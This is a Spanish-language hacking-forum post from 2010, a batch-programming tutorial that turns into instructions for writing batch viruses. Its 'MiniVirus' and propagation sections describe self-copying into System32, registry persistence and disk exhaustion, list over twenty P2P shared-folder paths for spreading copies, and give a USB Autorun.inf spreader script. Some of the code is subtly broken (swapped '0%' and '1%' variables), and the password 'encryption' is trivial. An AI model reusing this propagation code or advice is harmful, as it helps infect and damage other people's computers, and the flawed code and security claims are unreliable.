[B]Tutorial del Programación en Batch Nivel Avanzado -KuTeR-

Iniciado por ProcessKill, Febrero 24, 2010, 05:17:27 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

[size=12]TUTORIAL DE PROGRAMACIÓN EN BATCH NIVEL AVANZADO BY: -KuTeR-[/size]

Buenas, amigos de zonehacking, aquí les traigo el esperado tutorial de programación de nivel avanzado en batch.Aprevecho este espacio para saludar a todos los miembros de la comunidad MaNdItOo,ShadinessDark y Geerk Lord.

Bueno empecemos, os voy a dar los contenidos de este tutotorial:

-Parametrización (Parámetro %0)
-For Avanzado
-Cifrado/Encriptado (Método de extracción de carácteres y sustitución de carácteres)
-MiniVirus
-%ERRORLEVEL%
-Propagación USB y P2P
-Despedida

[size=11]PARAMETRIZACIÓN[/size]

De este tema ya publiqué un tutorial, pero dejé para el final una de las utilidades más "útiles" (valga la redundacia) de batch, El parámetro %0.
Supongo que a todos o casi todos los que hayais pasado alguna vez por el mundo del batch se os ha ocurrido alguna vez que deberiais hacer si se os presenta el problema de no saber la ruta en la que estará en la victima (en un virus sobre todo) el batch que programasteis, pues como respuesta a vuestras alabanzas llega el parámetro "especial" %0. Como ya supondreis este comando representa al batch dentro del que está escrito, veamos un ejemplo:

copy %0 C:\Windows\System32 ¿Qué haría esto? Pues copiaría el batch que estamos programando a C:\Windows\System32
Facil ¿No?

[size=11]FOR AVANZADO[/size]

En el anterior tutorial (Tutorial de Programación en Batch Nivel Medio) os enseñé a usar el comando FOR para crear bucles finitos, pero esta vez os voy a enseñar la utilidad más avanzada de este comando: Procesar Archivos.
Esta vez el comando For, se acompaña del modificador /F, esta es la sintaxis

For /F opciones %%a in (archivos) do comandos Expliquemos:

/F: Modificador
opciones: "reglas" por las que se regirá for al procesar el archivo
%%a: variable
(archivos): archivos que se procesarán
comandos: comandos que se ejcutarán
Os doy las opciones:

EOL=x Indica que se procesen todas las líneas menos las que empiezan por esa letra
SKIP=x Indica la línea por la que se empezará a procesa, es decir si pongo Skip=5 las 5 primeras líneas no se procesarán
DELIMS=xxx Indica en que símbolo o letra acabrá de procesar for
TOKENS=x,y,z Indica las vueltas que serán validas.

Veamos un ejemplo:
Creamos un archivo .txt que contenga: y lo llamamos archivo.txt
asdf
Hola -
Adios-
Hasta luego-

y usemos For
For /F "DELIMS=- SKIP=1" %%a in (archivo.txt) do echo %%a
¿Esto que hará? Nos mostrará las líneas del archivo excepto la primera y acabará de procesar cada linea en -
por tanto nos mostrará Hola Adios Hasta Luego.
¿No es tan dificil no? :D

[size=11]CIFRADO/ENCRIPTADO EN BATCH[/size]

Bien, supongo que a nadie le gustará que haga una aplicación batch con contraseña como esta:

@echo off
echo Hola escribe la contraseña para entrar
set /p pass=
if pass=wenas (echo bien) else (echo mal)


Y el user la abra y vea claramente que la password es "wenas" ¿no?. Dirás, eso es facil de arreglar, lo compilo a .exe y ya está. Bueno pues sí me has pillado, pero eso sería demasiado facil, os voy a enseñar un método más "profesional". Si han leído mi tutorial anterior ya sabran usar la extracción de carácteres, pues esto se puede usar para encriptar, veamos un ejemplo:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)


Asi el código quedaría menos visible ¿verdad?. Dirás sí, pero cualquiera que conozca esta técnica me lo desencriptará sin problemas ¬¬..
Bueno, para eso esta la Sustitución de Carácteres:

%var:caracterequeseremplaza=caracterremplazador%

Aquí lo que haremos será susituir el primer caracter por el segundo y así se deberá poner el caracter remplazador en vez del remplazado, añadamoslo al code anterior:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)
%pass:a=4%

esto sustituiría las a de wenas por 4 es decir habría que poner wen4s en vez de wenas para que valiera.
Así ningun desalmado crackeará nuestros bats tan facilmente :D (esto es útil para hacer crackmes, ya publicaré alguno jeje :D)

[size=11]MINIVIRUS[/size]
Bien en esta sección explicaré algunos de los fundamentos que debe tener un virus o minivirus en batch (esto es lo mio jeje :D) Esta parte va dedicada a [size=8]Geek Lord [/size]jeje por su interes por el batch :D
Bueno empiezo explicando algunos fundamentos:
-Un buen virus debe copiarse a si mismo: Usando en famoso parámetro %0 se puede realizar esto :D, se debe copiar el virus a distintas carpetas en las que quede bien escondidos jeje :D
-Un virus puede saturar la memoria del ordenador: Por ejemplo creando infinitas carpetas en C: (comando for/goto)
-Un virus debe propagarse porlomenos por alguno de los métodos más conocidos, explicados más adelante
-Un virus debe ser ingenioso: Dejen volar su imaginación xd
-Un virus debe ser "cabroncete" perdonen la expresión xd: Debe hacer cosas que nadie sospeche que va ha hacer
-Un virus debe saber ocultarse: Es decir puede ocultarse en algunas carpetas con muchos archivos como por ejemplo System32 de Windows.
-Un virus debe agregarse al registro para iniciarse al principio o modificar algo de Windows xd: como por ejemplo la página de incio de Internet o el Fondo de Escritorio


Bueno no profundizo mucho este tema porque publicaré un tutorial sobre Virus en Batch.

[size=11]%ERRORLEVEL%[/size]

Esto es una Variable de Entorno que indica el nivel de error mostrado por un comando a su salida, supongo que no lo habrán entendido muy bien xd , bueno se lo explico de otra manera:
Todos los comandos al ser ejecutados devuelven un código en forma de 1 o 0, 0 si el comando ha sido ejecutado correctamente o 1 si ha habido algún error, Bien %errorlevel% lo que hace es indicar el código de error como dije antes jeje. Bueno esto se usa sobre todo junto con el comando if, para especificar que si un comando no ha sido ejecutado correctamente se ejecute una acción, en esto no profundizaré ya que ni yo lo entiendo demasiado bien jeje pronto publicaré otro tuto con esto.

[size=11]PROPAGACIÓN P2P Y USB[/size]

Uno de los fundamentos principales de los virus como vimos anteriormente es la propagación, ya sea a través de los clientes/servidores P2P o los Puertos USB. Antes de nada explicaré que significa esto de propagación. Cuando un virus se propaga, se extiende desde unos ordenadores a otros, esto es la propagación. Como diría Jack el Destripador, vayamos por partes xd:
P2P: Esto tipo de propagación consiste en la reproducción de un virus a través de las redes Peer to Peer (P2P) como eMule, Ares,BitTorrent etc..
Es simple, solamente hay que copiar el virus a las diferentes carpetas de los clientes P2P con diferentes nombres: Os dejo las carpetas:

C:\Archivos de programa\Grokster\My Grokster\
C:\Archivos de programa\Morpheus\My Shared Folder\
C:\Archivos de programa\ICQ\shared files\
C:\Archivos de programa\KaZaA\My Shared Folder\
C:\Archivos de programa\KaZaA Lite\My Shared Folder\
C:\Archivos de programa\EDONKEY2000\incoming\
C:\Archivos de programa\eMule\Incoming\
C:\Archivos de programa\Filetopia3\Files\
C:\Archivos de programa\appleJuice\incoming\
C:\Archivos de programa\Gnucleus\Downloads\
C:\Archivos de programa\LimeWire\Shared\
C:\Archivos de programa\Overnet\incoming\
C:\Archivos de programa\Shareaza\Downloads\
C:\Archivos de programa\Swaptor\Download\
C:\Archivos de programa\WinMX\My Shared Folder\
C:\Archivos de programa\Tesla\Files\
C:\Archivos de programa\XoloX\Downloads\
C:\Archivos de programa\Rapigator\Share\
C:\Archivos de programa\KMD\My Shared Folder\
C:\Archivos de programa\BearShare\Shared\
C:\Archivos de programa\Direct Connect\Received Files\

Simplemente copia el virus a estas Carpetas con nombres distintos

USB: Esto es más complicado que lo anterior, bien lo que debemos hacer es dentro del virus crear en la unidad USB, un archivo .inf con el siguiente contenido:
[AutoRun]
Open=archivo.bat
action=Abrir Pendrive
Icon= icono.ico
shellexecute=/archivo.bat
Además deberemos adjuntar el icono si lo hay. Os dejo un código para hacerlo más fácil:
:if
if exist E: call :autorun E
if exist F: call :autorun F
if exist G: call :autorun G
if exist H: call :autorun H
if exist I: call :autorun I
if exist J: call :autorun J
if exist K: call :autorun K
goto:EOF

:autorun

copy 0% "%1\archivo.bat"
echo [AutoRun] >> "%1\Autorun.inf"
echo Open="archivo.bat" >> "1%\Autorun.inf"
echo action=Abrir Pendrive >> "%1\Autorun.inf"
echo shellexecute=/archivo.bat >> "%1\Autorun.inf"
goto:EOF


[size=11]DESPEDIDA[/size]

Bueno este es el último de mis tutoriales en lo que a programación batch en general se refiere, aunque seguiré publicando tutoriales sobre diferentes ramas del batch para especificar y adentrarnos más en ellos :D, espero que os hayan servido mis tutoriales,

Salu2 :D

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta